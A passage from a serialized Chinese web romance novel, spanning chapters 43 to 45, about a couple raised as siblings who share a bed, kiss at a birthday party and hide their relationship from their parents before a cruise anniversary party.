还没到货,本来想给你惊喜的。咖啡店我们一起去,我今年冬天还想去旅行,去滑雪。” “嗯,好。” 无论她说什么,在谢昱宁那里都能得到肯定的答复。 安静的夜晚,两人你一言我一语,从现在说到未来又说回小时候,说起她的糗事和发坏的故事。 他记性很好,许多她记不清的细枝末节他都能回忆起来,点点滴滴地讲给她,好像瞬间把回忆的卷轴拉开在面前。 聊了很久,渐渐钟卿悦的眼皮开始打架,意识越来越模糊,耳边只有他清冽低沉的嗓音,叙述着他们曾一起经历过的故事。 谢昱宁察觉到她袭来的困意,缓慢放低声音,直至听到她绵长沉缓的呼吸才噤声。 她感觉迷迷糊糊刚睡着,耳边的催眠曲忽然停止,她蹙起眉,意识回笼,哼唧了一声,“哥,我要睡了。” “好,晚安。”谢昱宁轻声回应她。 她闭上眼,下意识朝他靠近,指尖去抓他的胳膊。他伸手将她搂进怀中,安抚地轻拍着她,“睡吧。” 她哼唧着应了一声,在他怀中找了个舒服的位置窝着,“晚安,哥哥。” 他轻叹一声,“晚安。” 怀里的人安静的像只小猫,呼吸轻柔缓慢,带着灼热的温度喷薄在颈间,熟悉的馨香和痒意在不断拉扯他的理智。 他喉结上下滚了滚,手臂收紧,牢牢将她圈进他的领地。 夜很漫长,他的吻糅杂着细碎的爱意,不断落在她的发顶。 — 翌日,天微微亮起,淡蓝色的天光透过窗帘缝隙钻进屋内。 钟卿悦翻个身,感觉到压在腰间沉重的手臂,瞬间从睡梦中清醒过来。 她猛然睁开双眼,映入眼帘的是谢昱宁安静的睡颜。她小心翼翼掀开被子,发现她被他搂在怀里,他的手臂横在她腰间,手掌搭在她后腰上,身体离她很近很近。 “醒了?”他暗哑沉闷的嗓音响起,带着睡醒后淡淡的鼻音。 她慌张盖上被子,这也太尴尬了。 她无所适从地垂头埋进他怀里,闷闷道:“还可以再睡着。” 他低哑的笑声传出,手掌握住她的腰,微微用力把她圈进怀里。两具身体紧密贴近,肌肤的温度交织,只隔着两层形同虚设的睡衣布料。 钟卿悦胸腔下的心脏忽然加速跳动,热意从脖子蔓延到脸颊、耳根,烫的像发烧一般。 她闭上眼,手臂悄然伸出,回抱住他,他的怀抱真的好暖,她好喜欢。 谢昱宁阖上眸子,轻拍着她的后背,“那再睡个回笼觉。” 她点点头,又摇摇头,脑袋在他胸口蹭了又蹭。她是睡不着了,刚才那么说只是为了缓解尴尬。 她一系列动作让谢昱宁喉咙发紧,呼吸更加混乱,他喟叹一声,哑声问道:“那起床吗?” 钟卿悦心不在焉地应了声,其实她根本没太在意谢昱宁的话,脑子里只在想,他身材好像不错的样子,因为她蹭来蹭去的时候发现他胸口鼓鼓的,应该有胸肌有腹肌吧? 她之前看短视频发的,那种薄肌真的好迷人,不知道谢昱宁的肌肉是什么样子的。 想着,她居然鬼使神差地去伸手确认,指尖悄悄伸出,小心翼翼戳了一下,鼓起的胸口软硬适中,貌似手感很好的样子。 谢昱宁呼吸一滞,眉头深深蹙起,“钟卿悦。” “啊……?”她意识到自己做了什么,没有心虚,只有得逞后的偷笑。 她压下笑意,手指顺着他胸口线条下滑,又戳了戳他的腹肌。 啊,这里硬硬的。 下一秒,她作乱的手突然被抓住,他顺势将她从怀中拎出来,“在干嘛?” 他眯着眸子,脸色怪异地盯着她。 她做贼心虚,嘿嘿傻笑着,“没干嘛呀。”她顿了顿,眨巴着眼睛,“哥,你有腹肌,是不是?” “嗯?”他眸色沉黯,“怎么?” “没有没有,我就是问问,感觉好多男生都有腹肌,我好奇。” 他蹙眉,一瞬不瞬地盯着她,好多男生? 他握着她的手忽然收紧,继而拉着她的手往他腹部贴去。 她起初还在不明所以,直至手被拉回被子里,她陡然大惊失色,连忙抽手,他却丝毫不给机会,勾唇看着她,“你不是好奇?” “我我我没有!!” 她的拒绝根本不生效,下一秒,手已经紧贴在他的腹肌上,隔着薄薄的布料,她感觉到他灼热的体温。 他挑眉,掌心按着她的手背上不允许她离开,“摸过就不要好奇其他男生了。” 她吞了下口水,思索着,既然都被允许了……?她五指微张,屈指捏了捏,果然很硬,块块分明的样子。 谢昱宁眉梢抽了抽,她倒是很不客气。 “哥,你有几块腹肌啊?” …… 谢昱宁沉默片刻,“八块。” “分布均匀吗?我看网上他们发得有那种不对称的,可逗了。” 谢昱宁闭上眼,有些头疼,“你平常都在看什么?” 她尴尬地笑了笑,“就突然刷到的,就看看嘛。” 说着,她抽出手,似乎不太对,怎么两个人躺在被子里研究起他的身体了。 她佯装若无其事地支起身子看了眼窗子,“好像天亮了吧,我们起床吧。” 谢昱宁没接话,也没动。 她躺回枕头上,眨巴着眼睛看看他,“起床吧?” “等等。”他语调微扬,握住她捏被角的手,欺身靠近她。 她深感不妙,怎么觉得他脸色不太好? 下一秒,他突然撑起身体,反手将她一只手压在床上控制住,另一只手迅速握住她空闲的手,扯回被子里。 不对!这不太对! “干嘛……” 话音未落,她指尖突然碰到他睡衣的下摆,紧接着就触碰到紧实又柔软的……腹肌!没有隔着任何东西的那种! 她瞪大眼睛,深吸一口气,腹肌居然是这种手感吗? 他不语,带动她的手指滑动,她能感受到流畅的肌肉线条,一块一块的轮廓分明,带着肌肤的弹性。她轻轻摩挲着,心里细数,一块、两块、三块…… “诶,好像不对,怎么才六块?” 谢昱宁盯着她懵懂好奇的眸子,沉声道:“剩下两块在下腹。” 下腹…… 那就是隐藏在睡裤下的地方吧。 她猛然清醒,迅速抽出手,“好好好,我摸完了。” 他撑在她身侧,眯着眼认真与她对视,“还好奇吗?需要看一下吗?” “不用了不用了。”她脑袋摇得像拨浪鼓,“你已经很大方了,让我摸摸就很好了。” “少看网上的。”他沉默一瞬,又道,“好奇就看我的。” 她脸腾的一下烧起来,眼神慌乱地瞥向一侧,似乎生怕他强迫她去看似的,她囫囵吞枣地应下,“知道,知道了。” 谢昱宁松开压着她的手,她迅速掀被子离开这是非之地。这波她是赚大发了,不仅和他睡一张床了,还摸到腹肌了。 看她仓皇钻进洗手间,谢昱宁起身下床拿着浴巾去西厢房冲冷水澡。 两人到前院时,谢瑞博已经孤身忙碌几个小时了。看到两人牵手走来,他笑着挑眉,“怎么样?睡得好吗?我安排的房间不错吧?” 钟卿悦:“挺好的。” 也多亏了谢瑞博,不然她还摸不到腹肌呢。 谢瑞博打量两人,“满意就好满意就好。其实你们可以多睡一会儿,我这边也不需要你们。” 钟卿悦看着已经初现雏形的宴会厅,各个区域的工作人员都在紧张忙碌着,确实这些工作他们也插不上什么手。 谢瑞博:“如果你们实在想帮忙,就帮我插花吧。” 他一扬手,指向角落休闲区成片的花海,不同种类的花泡在花桶中醒着,大多数已经蓓蕾初绽,争奇斗艳了。 “有花瓶,随便插,然后在花瓶上打上蝴蝶结。” 钟卿悦点头,“这是用来干嘛的?” 谢瑞博:“摆在各个角落装饰的,都是我姐喜欢的种类,所以随便插就好。” 钟卿悦看了片刻,感叹道:“上辈子拯救银河系,这辈子能让你当弟。” 安静片刻,谢瑞博忽而大笑起来,“我也是你们的弟,等你们结婚,我必然给你们一个终生难忘的惊喜。” 钟卿悦挂在嘴角的笑容僵了一下,结婚吗?感觉她和谢昱宁结婚似乎还有很久,不知道爸爸妈妈知道他们的事情会不会接受。 她在心里叹口气,没再多言,拉着谢昱宁投入插花工作中。 【📢作者有话说】 妹宝:好摸,多摸。 43 第 43 章 ◎吻◎ 生日宴会在周六晚上正式开始, 谢嘉希抵达度假村后,看到眼前的一切惊讶地说不出话。 邀请的好友围在不远处笑看,谢瑞博得意地走到谢嘉希身边, 晃了晃胳膊, 示意她挽着他。 偌大的宴会厅内亮如白昼, 目所能及之处全都是谢嘉希喜欢的元素, 虽说是两个人的生日, 但看上去宴会只是为她一个人准备的。 音乐、红酒、灯光、美食,推杯换盏,觥筹交错。 谢嘉希应付完寒暄,飞快跑到钟卿悦和谢昱宁身边,目光对视,谢嘉希抬手阻止钟卿悦开口, “大嫂,别喊我。” 钟卿悦把嘴边的“嘉希姐”咽下去,“可是你这么喊我, 我觉得怪怪的。” “不怪不怪。”谢嘉希挽住她胳膊, “我愿意喊你,你们在一起我开心的不行,比自己谈恋爱都激动。” 钟卿悦扑哧一下笑出声, “我以为你会很惊讶。” “才没有,其实我知道很多的。”谢嘉希神秘地眨眨眼。说罢,她瞥一眼谢昱宁, 眼神示意此时不便多说,两人心照不宣。 闲聊间, 许多相熟的人也来和谢昱宁搭话, 顺便旁敲侧击他的恋爱进程。 谢嘉希见此, 拉着钟卿悦道:“大哥,嫂子借我了,你们聊。” 两人闪身离开人群,谢嘉希挽着她往二楼休息室走去,一边走一边笑着八卦,“你俩进展有够快的,我以为我大哥明年也追不上你呢。” 钟卿悦歪头看她,“为什么这么说?” “他跟个闷葫芦似,能开口表白可是太难了。我猜你肯定不知道他喜欢你很久了。” 这个问题钟卿悦确实没问过谢昱宁,她好奇地眨眨眼,“很久是多久?” 谢嘉希歪着头回想半天,“我觉得最起码是去年年底。” “去年?” 这个答案着实震惊到了钟卿悦,她想到谢昱宁喜欢她更早一些,因为回想以前的事,很多蛛丝马迹都透露出他对她心思不同,但没想到会那么早。 钟卿悦:“你还知道什么,再给我讲讲呗。” “那我可知道的多了,你且听我细细道来。” 谢嘉希像说书先生,下巴一扬打开话匣子,侃侃而谈,“我感觉我大哥喜欢你这件事最初只有你不知道,朋友圈子里的人都知道。故城的项目原本他不感兴趣,但因为你,他接了下来,找个由头在故城陪你。后来我能跟他有联系,关系还不错,其实也和你有关。” “事实上他不想和谢家有任何牵扯,他原本的计划是整个谢家不复存在。谢宇谦知道他对你动了心,想要用你来威胁他,这打乱了他所有计划,于是他才选择和我合作,用最快的速度解决谢宇谦和我二叔,从而保护你。” 半个多小时的时间,谢嘉希给她讲述了谢昱宁喜欢她的整个心路历程,没有任何添油加醋,全都是谢昱宁的一片真心。 钟卿悦从最开始的不可置信,到最后感动的想要哭鼻子。 谢嘉希感叹地摇摇头,希望大哥能感谢她,她可都要给嫂子说哭了。 片刻后,谢昱宁寻了过来,钟卿悦看见他,立刻起身跑过去扑到他怀里,他虽不知道发生了什么,但仍旧张开双臂牢牢圈住他。 “哥。”她用脸蹭了蹭他胸口。 “出什么事了?” “没,想你了。” 谢昱宁觉得有些怪,挑眉看向谢嘉希,“你跟她说什么了?” 谢嘉希神秘一笑,“你自己猜吧,我先走了。” 说罢,她迅速闪身推门离开。 屋内只剩谢昱宁和钟卿悦,他下巴抵着她发顶,缓缓开口,“不要听她瞎说。” 钟卿悦闷声道:“她没有瞎说。” “那你怎么不开心?” “也没有不开心。”她收紧手臂搂住他的腰,“哥,我好爱你,特别特别爱你。” 谢昱宁身子微僵,手轻柔地抚着她后背,“我也爱你,会永远爱你。” 她从他怀里仰起头,澄澈的眸子盈满笑意,唇边梨涡深深,“哥,我们会永远在一起,非常幸福的在一起。” 她清脆的声线落下,外面天空突然炸起烟花,震耳的声响过后是大片的绚烂色彩,光芒将漆黑的夜空点亮,流星般的花火从天空直落,给人们足够的时间许愿。 她脱离他的怀抱跑到窗边,隔着玻璃仰头看着,璀璨的烟花点燃她的眼睛,墨色的眸底仿佛住满星星。 身后忽而涌来一个温暖的怀抱,手臂穿过她的腰间,轻轻拥着她,她回眸去看,撞上他盛满爱意的眼睛。 对视几秒,她突然转过身踮起脚,一个轻柔的吻落在他的嘴角,转瞬即逝,徒留温热的触感。 他眸色渐暗,望着她的眼神更加讳莫如深。她害羞地躲开对视,扬手指着天边,“你看那个烟花好好看。” 他哪有什么心情看烟花,一个吻足以让他心猿意马。 他俯身靠近她,她似有察觉地再次看向他,闪着光的眼睛扫过他的心尖,使他心脏轻颤,他无法克制,忍不住吻了下去。 潮湿、缠绵的唇瓣纠缠在一起,仿佛梅雨季的降临,雨水浸湿整座城市,身上都沾满湿润的气息,黏腻与燥热交织。 鼻尖相触,她呼吸变得急促,唇舌研磨吸吮,带起无尽的战栗。 她颤抖着想要退开,他却不肯罢休,紧紧搂着她的腰贴近自己的身体,低头加深这个吻。湿漉漉的舌尖肆意纠缠,酥麻的电流传遍身体,她腿发软,只能靠着他勉强站立。 窗外烟花不断燃烧炸开,而她只能听到急促的喘息和狂跳的心脏。她已无力逃开,心甘情愿随他坠入深渊。 吻持续了许久,直到她哼唧一声,眼角滑落生理性的眼泪,他才堪堪退开,指尖怜惜地抚过她发红的眼眶,声音低哑,“对不起。” 她唇瓣又肿又红,脸颊耳朵烫的吓人,像煮熟的北极虾一般。 她钻进他怀中,小口喘息着,再吻下去她就要晕倒在这里了。 突然,门被轻轻叩响,外面传来谢瑞博的声音,“大哥,大嫂,在吗?” “在。”谢昱宁应了声,拥着她背过身体,不愿让任何人看到她。 谢瑞博道:“出来玩啊,等你们呢。” “嗯,马上。” 谢昱宁应下,谢瑞博没再多言,脚步声逐渐走远。 她在他怀里缓了一会儿,脸没刚才那么红,只是嘴唇肿的明显,她摸着唇角,不悦地打了他一巴掌,“你干嘛亲那么用力。” “我下次轻点。” 她瞪他一眼,“禁吻!没有下次!” 谢昱宁讨好地搂住她,“再给我一次机会。” 两人拌着嘴走出休息室,回到宴会厅后才发现已经没有几个人了,有的去隔壁娱乐室喝酒打牌了,有的去泡温泉了。 此时谢嘉希从门外进来,忙喊着两人一块去打牌。 走近,她眼睛突然一亮,目光立刻落到钟卿悦红肿的嘴唇上,笑意不言而喻。 钟卿悦尴尬地垂下头,谢昱宁看了谢嘉希一眼,她手做了个拉上嘴巴拉链的动作,没有多说话。 — 宴会一直进行到凌晨,他们越玩越嗨,打麻将的唱歌的喝酒的。钟卿悦困得睁不开眼,谢昱宁先带着她回了小院儿。 进门,她匆匆洗了个澡就钻进了被窝,没等到谢昱宁上床就沉沉睡了过去。 一觉睡到第二天晌午,耳边传来窸窸窣窣的穿衣服声,她才幽幽睁开眸子,结果谢昱宁还未来得及扣上衬衣扣子,衣服敞开着,露出线条分明的腹肌。 睁眼暴击,她惊得一下子清醒过来,眼巴巴瞧着。 谢昱宁眯起眸子,慢条斯理的从上往下扣着扣子,“醒了?” 她应了声,随即说出了心里话,“哥,你腹肌比网上那些好看多了。” “再瞎看下次没收手机。” 她嘿嘿一笑,从床上坐起来,“不看了不看了,下次想看就看你的。” 他挑眉,衬衫最后一个扣子也扣了起来,他俯身撑着床靠近她,自然的在她唇瓣落下一吻。 她脸腾的一下就红了,昨天的记忆迅速回笼,颤抖与急促的呼吸记忆犹新。 她立刻后退身子,偏头躲开他。 “还看吗?”他轻笑一声。 钟卿悦蹙起眉,“都说了不让你亲了,你被禁吻了你懂不懂!” “不懂。”他歪头,扶着她的脸将她头摆正,迅速在唇上轻啄一下,“不禁。” 她不满地瞪他,泄愤似的吻上他,牙齿咬住他的下唇,撕扯吸吮了一下。 发完脾气,她想要退开,而他哪会给她逃脱的机会,手牢牢扣住她后脑勺,迅速加深这个吻。 从坐着吻变成躺着吻,急促的喘息声与布料的摩擦声响在房间里。她不满地推着他,都禁吻还亲,他却纹丝不动。她哼唧一声,手不老实地钻进衬衣下摆。 她闭着眼感官被无线放大,唇瓣的潮湿和掌心坚硬的腹肌交织,带来匪夷所思的奇妙反应。 她仰头应承着他的吻,指尖却毫不客气地游移在他腹肌之上,弹性的肌肉捏和按是不同的手感,她反复尝试着,直至他闷哼一声,强硬握着她的手腕扯开。 她哼唧一声,挣扎着推开他,哑声道:“干嘛。” 他眼眶发红,眼底墨色浓重,“不能摸了。” “我还没摸够。”她还没摸索出手感的差异呢。 他喉结上下滚了滚,在她脸颊轻啄一下,“下次。” “小气鬼。” 话音落,他忽然把手覆在她眼前,世界顿时陷入黑暗,她蹙眉晃了晃头,不满道:“谢昱宁。” 谢昱宁没接话,撑着身体离开床,手也从她眼前拿开。她睁开眸子就只看到他走进洗手间的背影。 【📢作者有话说】 [托腮]最近卡卡的…… 44 第 44 章 ◎偷偷◎ 十二月底, 江城迎来第一场雪,从钟卿悦和谢昱宁到家时便开始下,洋洋洒洒大朵大朵飘落, 顷刻间就将城市染成白茫茫一片, 望向哪里都是银装素裹的景象。 上楼时钟卿悦小声嘟囔着抱怨, “盼这场雪盼了一天了, 早点下我们就不用回来了, 回来就得听妈妈絮絮念,指不定又出什么么蛾子,好想念我们故城的小窝啊。” 谢昱宁:“只待两天我们就回去。” “好嘛好嘛。” 看她情绪失落,谢昱宁大手揉了揉她发顶,“乖,坚持一下。” 钟卿悦推开他的手, 回身看了眼楼下,生怕被人逮到他们的亲密动作。 到了三楼,钟卿悦接过他手里提的包, “那我回房间咯。” “一会去书房下棋?” 她懒懒摇摇头, “不要,我想躺着。” 谢昱宁:“我去房间找你?” 话音落,钟卿悦大惊失色, 连忙捂住他嘴四下张望着,“不可以!” 刚才他就没距离的摸她脑袋,现在又要去她房间, 这不明摆着要被发现嘛! “在家我们要保持距离,你不准来我房间, 也不可以抱我, 也不可以摸我头, 更不可以亲我!听到没!” 他皱起眉,不满地冲着她手心吹了口气,灼热的气息喷在掌心里,痒痒的,激起一身鸡皮疙瘩,她收回手想要远离他,他却抬手箍住她的腰,强迫她贴近自己。 “谢昱宁!”她慌乱地推着他,“一会儿被看到就糟糕了!” “没有人。”他冷着脸看着她,“我们回故城。” 刚才她推开他的手,他就已经不爽了。 钟卿悦:“你在说什么梦话。” “在家你不让我靠近你。” “还不是时候呀,妈妈知道会吃了我们的。” “我让你摸腹肌。” 钟卿悦扑哧一下笑出声,眼睛闪亮亮的,“现在吗?” 谢昱宁唇瓣紧抿,淡淡应了声。 “那我不客气了哦。” 她贴着他,葱白般细嫩的指尖顺着他胸口位置往下滑,眼睛一瞬不瞬地盯着他,挑逗意味十足。 他眸色渐渐暗下来,头微垂着靠近她,忍不住想要吻她。 她瞳仁一转像只精明的小猫,迅速推开他,后撤一步远离,“哼,不准诱惑我,保持距离,这才是你现在应该做的。” 他板着脸,眉梢抽了抽。她此刻明镜高悬,将公正廉明的精神发扬到极致,丝毫不给他钻空子的机会。 “哎呀,哥哥,你最好了!”钟卿悦再次凑上前,打个巴掌给个甜枣,“我们还需从长计议嘛,贸然被爸爸妈妈知道他们肯定反应很大,万一阻止我们在一起怎么办,对不对?” “哥哥——”她踮脚在他脸颊落下一吻,“呐,这是提前给的奖励,我相信哥哥肯定能做到。” 谢昱宁对她的撒娇毫无抵抗力,脸色缓和,抬手指了指唇,“亲这里。” “好。”她柔声应下,又在他唇上落下一吻。 他勉为其难收起情绪,拿走她手里的包,“我把你送回房间。” 钟卿悦指了指身后,“就几步。” “我想送。” 她无奈,刚想开口回应,楼梯口突然传来响声,她慌张后退一步拉开距离,眼睛寻过去的同时钟爸的身影出现在转角,“咦,你们兄妹俩怎么在这站着?” “我们在说话。”她随口扯谎。 钟爸:“不去屋里坐着说,在这里站着说,不嫌累。” 钟卿悦转移话题,“你找我们有事?” “哦,对,是有事。又到我跟你妈妈结婚纪念日了,我们今年安排的是游轮聚会……” 钟卿悦不等他说完,“没事,不用管我俩,我俩可以自生自灭。” “呸呸呸,大过年的乱说话,快呸一下。” 钟卿悦无可奈何的“呸”了三声,“迷信!” 钟爸瞪她一眼,“再瞎说让你妈妈揍你。” “不对,嗐!你老转移我的话题,我是想说今年我们不抛下你俩了,我们一起去游轮上跨年。” 话音落,周遭陷入安静,钟卿悦和谢昱宁默契地对视一眼,一切尽在不言中。 “爸爸……”她思忖轻唤道。 谢昱宁接了一句,“我们不想去聚会。” 钟爸犹豫道:“不想去啊……” 他沉默片刻,甩下一句,“我问问你妈妈再说吧。” 他匆匆离开,脚步声渐行渐远,钟卿悦看向谢昱宁,捂着嘴轻笑一声,“我们越来越有默契了。” 谢昱宁揉了揉她的发顶,“但我可能要泼冷水。” “怎么了……”钟卿悦眨巴眨巴眼。 “逃不了,妈一定要求我们去。” 钟卿悦亮着的眸色瞬间黯淡下去,“为什么啊?” 谢昱宁没说话,他和钟妈目前算是心照不宣的状态,虽然钟妈不知道他们已经在一起,但她早对两人的关系有所防备,所以大概率不会让他们单独在家了。 这些话他没有告诉钟卿悦,她知道一定会非常焦虑。他打算把计划尽早提上日程,结束和钟家目前的状态,先把路铺好。 果然他猜测的非常准确,钟妈找了个“一家人要一起跨年”的由头,硬要带着两人一起参加聚会,他们明白反抗也不会达到目的,便顺从的答应了下来。 晚饭后,两人默契的出现在三楼书房,窝在一起打游戏、下棋、看电视剧。他们已经习惯了这样的日子,彼此每天的生活轨迹都是对方的痕迹,所以回到江城后在父母眼皮子底下谈恋爱是万般不适应。 黏到深夜,两人各自回房间睡觉。 钟卿悦洗完澡躺在床上辗转反侧,自上次从度假村回去后,她便和谢昱宁睡在了一起,不过是非常单纯的睡觉,盖着被子抱在一起的那种。 主要是他的怀抱实在太暖太安心了,睡眠质量都明显提升许多。偶尔还能亲亲他,摸摸他,占点便宜,她怎么合计都是赚的。 可眼下,她自己躺在偌大的床?*? 上,往那边躺都冰冰凉凉的,也没有他身上熟悉的雪松香,一点困意都没有。 她拥着被子叹口气,在黑夜中眨巴着眼睛看着,想回故城的心在这一刻达到了顶峰。 突然,枕边的手机微微一震,屏幕点亮,弹出谢昱宁的头像。 她摸索着点开,就看到对话框里的两个字:[开门。] 她腾的一下从被子里坐起来,趿着拖鞋小跑到门口。 小心翼翼打开门,谢昱宁背光站在门前,身上穿着深蓝色的真丝睡衣,头发凌乱的散在额前,目光沉沉地望向她。 她拉开门,迅速将他扯进门内,生怕被人看到。 “你怎么来了?” “我想跟你一起睡。” 钟卿悦蹙起眉,“不行,会被发现的!” 谢昱宁伸手将她抱在怀里,语气有些委屈,“我定闹钟,一早就回去。” “那万一你开门正好碰到爸爸怎么办?他早晨起很早的。” 谢昱宁:“我们在三楼,他们在二楼,他们不会上来。” 钟卿悦搂着他的腰,有些犹豫。他趁热打铁,“我早点起,好不好?” 她思考片刻,蹭了蹭他胸口,“好吧,那你一定不要被发现哦。” 他勾起唇角,心情愉悦地拉着她躺回床上。 暖煦煦的被子里满溢他的气息,钟卿悦像怕冷的小猫窝在他怀里取暖,手捏着他指尖摩挲着,嘴上有一搭无一搭的闲聊着。直至困意袭来,她才沉沉睡了过去。 — 翌日一早,她睁眼时已经天光大亮,身边早已没了谢昱宁人影,她摸摸床铺跟枕头,冰凉凉的,他应该很早就离开了吧。 她翻身摸过手机,看到凌晨五点时他的留言:[我回房间了,没有被爸妈发现。] 她轻笑一声,继续往下看。 [记得奖励我。] 怎么以前没发现他这么粘人,还这么爱讨要奖励。 她回给他一个飞吻的表情包,熄灭手机起床洗漱。 早饭后,一家人启程前往机场,飞往碧海岛。 飞机上,钟妈主动和钟卿悦聊天,“悦儿,你和阿扬联系了吗?他今天也来参加聚会。” 提到叶承扬的名字,钟卿悦下意识扫了眼谢昱宁,他和钟爸正在不远处的休闲区下棋,模样聚精会神的,似乎没有注意到她和钟妈的对话。 她转回视线,淡淡应了声,“没联系。” 她不打算再装下去了,之前和叶承扬那样约定是因为她和谢昱宁还没有在一起,她秉着多一事不如少一事的想法,先应付着钟妈。现在不同了,她如果再和叶承扬接触,家里那醋坛子得翻了。 钟妈听她这么说,眉头皱了起来,“怎么没联系?我听你叶阿姨说他前段时间在故城。” “他可能忙吧,我上课也挺忙的。” 钟妈察觉不太对劲,她对叶承扬的态度和之前截然相反。 钟妈试探开口问道:“你们吵架了?” “我和他吵什么架,就是忙没联系,朋友相处还能跟吃饭似的,一天三顿嘛?” “阿扬性格温和,品行端正,比现在市面上大多数男孩子好太多了。” 钟卿悦歪头装傻,“妈妈,你这话说得好奇怪啊,你是想让我谈恋爱吗?可是你之前明明告诉我要好好学习的。” 钟妈被她说得哑口无言,沉默半天才说道:“你年纪随着增长,早晚也会恋爱,妈妈说过不会干涉你,自然也不打算插手你恋爱的事情。学业固然重要,交朋友恋爱也十分重要。” 她顿了顿,又道:“阿扬那孩子不错,你可以考虑一下。” “妈妈,我还不想考虑。” 钟妈抿着唇,没再说话。 “悦儿。”谢昱宁的声音恰合时宜的响起,钟卿悦偏头看过去,他招招手,“你来陪爸下棋吧。” 【📢作者有话说】 谢总:等一个名分[托腮] 45 第 45 章 ◎游轮聚会◎ 钟妈的说教被谢昱宁打断, 后半程飞行时间钟卿悦都凑在钟爸和谢昱宁身边聊天下棋,钟妈也没找到合适的给她洗脑的机会。 落地碧海岛时刚过中午,到别墅安顿好, 钟爸便出门去忙活晚上游轮聚会的事儿, 钟妈约了美容师造型师, 也没了空管钟卿悦, 她和谢昱宁倒得了单独约会的契机。 两人不惧艳阳, 全副武装好一起出门去海边。 走出钟家别墅老远,谢昱宁主动靠近想和她牵手,她板着脸藏起手,瞪他一眼,“不行,万一爸爸回来正好看到怎么办。” 他眉头蹙起, 狭长的双眸涌出委屈的情绪,“什么时候可以?” 钟卿悦打量一下环境,顺着这条林荫小路走出去就出别墅区, 快到沙滩了, “等到沙滩上吧。” 他沉默地收回手,模样甚是乖巧,钟卿悦被他逗笑, 不知不觉间他的变化极大,好像越来越听她的话了。 她不忍地靠近他,轻轻挽上他的胳膊, 手自然垂下与之十指相扣,小声道:“在飞机上你帮我解围, 我奖励你。” 他垂眸看她, 指了指自己的唇, “我要亲这儿。” 她扑哧一下笑出声,“好,等晚上哦。” 他应了声,心情缓和不少,扣着她的手,拇指无规律地摩挲着她手背。 她嘴上说着不跟他牵手,可真的牵在一起她又不舍得放开,就由着他去吧。 加快步伐拐过林荫小路便走出了别墅区,再行进一段鹅卵石铺成的小路就到了海滩边。 一只脚刚踩在松软的沙滩上,迎面就走来熟悉的身影,她愣神之际,叶承扬已经走到两人面前。 “你们也来玩吗?”叶承扬含笑的话音落下,目光自然落到两人相牵的手上。 钟卿悦随着他目光看了一眼,自知为时已晚,便坦然的继续握着谢昱宁。 “出来晒太阳。”她道。 叶承扬莞尔,“是挺晒的,不过从江城的寒冬腊月过来还是很舒适。” 钟卿悦应了声,没有接话。 “看来你不需要我的帮忙了。”叶承扬淡淡开口,“有些惊讶,不过也在意料之中。” 钟卿悦知道他在说什么,有些事旁观者清,叶承扬应该早有察觉,回想她过敏那次,谢昱宁找他也是因为她的缘故,叶承扬怎么可能看不出来。 钟卿悦:“还是要谢谢你之前的帮忙。” 叶承扬耸耸肩,笑得温和,“不用客气。” 他沉了一瞬,再次开口,目光落在谢昱宁脸上,情绪不明,“祝你们一切顺利。” 谢昱宁淡淡看着他,连话都没接。 微妙的气氛充斥在交汇的视线中,隐约能感受到氛围的诡异波动。 叶承扬转开视线,结束和他的对视,坦然地看向钟卿悦,“我先走了,晚上见。” “晚上见。” 叶承扬擦肩而过,背影很快消失的无影无踪。 钟卿悦拉着谢昱宁往海边走,小声问道:“哥,你上次跟他聊了什么,总觉得他看你的眼神怪怪的。” “没聊什么,就是让他离你远点而已。” 钟卿悦了然地歪头看他,轻笑道:“某些人那时候在吃醋哦?” “不然呢?”谢昱宁无所畏惧地挑眉,“你单独和他出去吃饭也就算了,还因为他过敏,万一严重到引发呼吸系统问题怎么办?” “我哪知道他养猫抱猫嘛……” 谢昱宁眯起眸子,认真分析,“所以他不适合你,他不了解你。” “对对对,哥哥最了解我,哥哥最适合我。” “没错。”谢昱宁拥住她,垂头靠近她仰起的脸,声音低沉,多了丝蛊惑,“奖励呢?等不到晚上了。” 钟卿悦捂住他的嘴,谨防他作乱,继而扫了眼周围,“大白天的,那么多人。” “那奖励翻倍。” 钟卿悦瞪起眸子,“谢昱宁,你得寸进尺。” 谢昱宁轻啄了一下她掌心,柔软带着细微的痒意,她迅速抽开手,“作弊!你作弊!” 他轻笑着勾起唇角,很是开心把她逗的恼怒的模样,“我等晚上的双倍。” “休想,连前面的都收回,统统收回!”她冷哼一声,抬手捏上他腰间,紧致的肌肉摩擦半天才捏住,稍稍用力又要从指尖滑走。 她气愤不已,双手齐下朝他腰间袭击而去,他也不躲,任由她占便宜的摸索。 纤细柔软的指尖也没什么力道,捏来捏去倒像按摩似的,他闷哼一声,含笑捉住她的手,“再捏就要现在要奖励了。” 他脸皮厚的吓人,钟卿悦实在拿他没招,愤愤打了他一巴掌,自顾自往反方向走,气死了! 知道惹恼了,他连忙追上去,低声下气的去哄人。 两人打打闹闹在海边玩了一下午,海风也吹了,海浪也踩了,连带她的裙子都湿了半截。 — 夜幕降临,碧海岛港口热闹非凡,一艘豪华游轮停靠在岸边,白色的船身悬挂着亮眼的粉色横幅,写着:小诗,我爱你。 顶部的甲板上装饰的奢华无比,远远看去宛如梦幻的童话世界,到处闪着水晶般的光点。 宾客如约而至,在侍从的引领下登上充斥爱意的游轮,驶向一望无际的海洋。 游轮内部大厅宽敞明亮,设计的富丽堂皇,有爱心气球,蝴蝶造型的装饰,甚至有悬挂的横幅写着钟爸的真情表白,处处都彰显着他宣之于口的爱意,恨不能天下所有人都知他们恩爱。 钟卿悦浅浅走了半圈就吃狗粮吃饱了,她自知她老爹很浪漫,但这浪漫中透着些许的俗气,早知道她就参与一下意见了,也不至于眼下让人看得尴尬。 她靠近谢昱宁,自然地挽住他胳膊吐槽,“爸爸怎么想的,搞那么多人,像在动物园看表演似的,早知道他弄那么大阵仗,我肯定给他提意见了。” “或许妈喜欢,他投其所好。”谢昱宁思忖道。 “妈妈会喜欢吗…?在我认知里妈妈是一个内敛含蓄的人,这个风格倒很符合爸爸的口味。” 话音刚落,大厅内的灯光便闪了一下,瞬间熄灭一半,光线昏暗下来,给氛围增添了几分朦胧之感。 原本嘈杂的人声渐弱,随之响起悠扬的小提琴声,乐手从各个角落出现,指尖拂动琴弦,弓弦接触演奏温暖细腻的音乐。 “我收回刚才的话,这好像不像爸爸的品味。”钟卿悦小声嘟囔着。 谢昱宁俯身在她耳畔低语,“是妈喜欢的曲目。” “爱的礼赞!”钟卿悦随之接道。 两人相视一笑,或许这就是爱人之间的默契,像钟爸在荒诞中展现优雅,他迎合钟妈的喜好,钟妈接受他大肆展现的爱意。 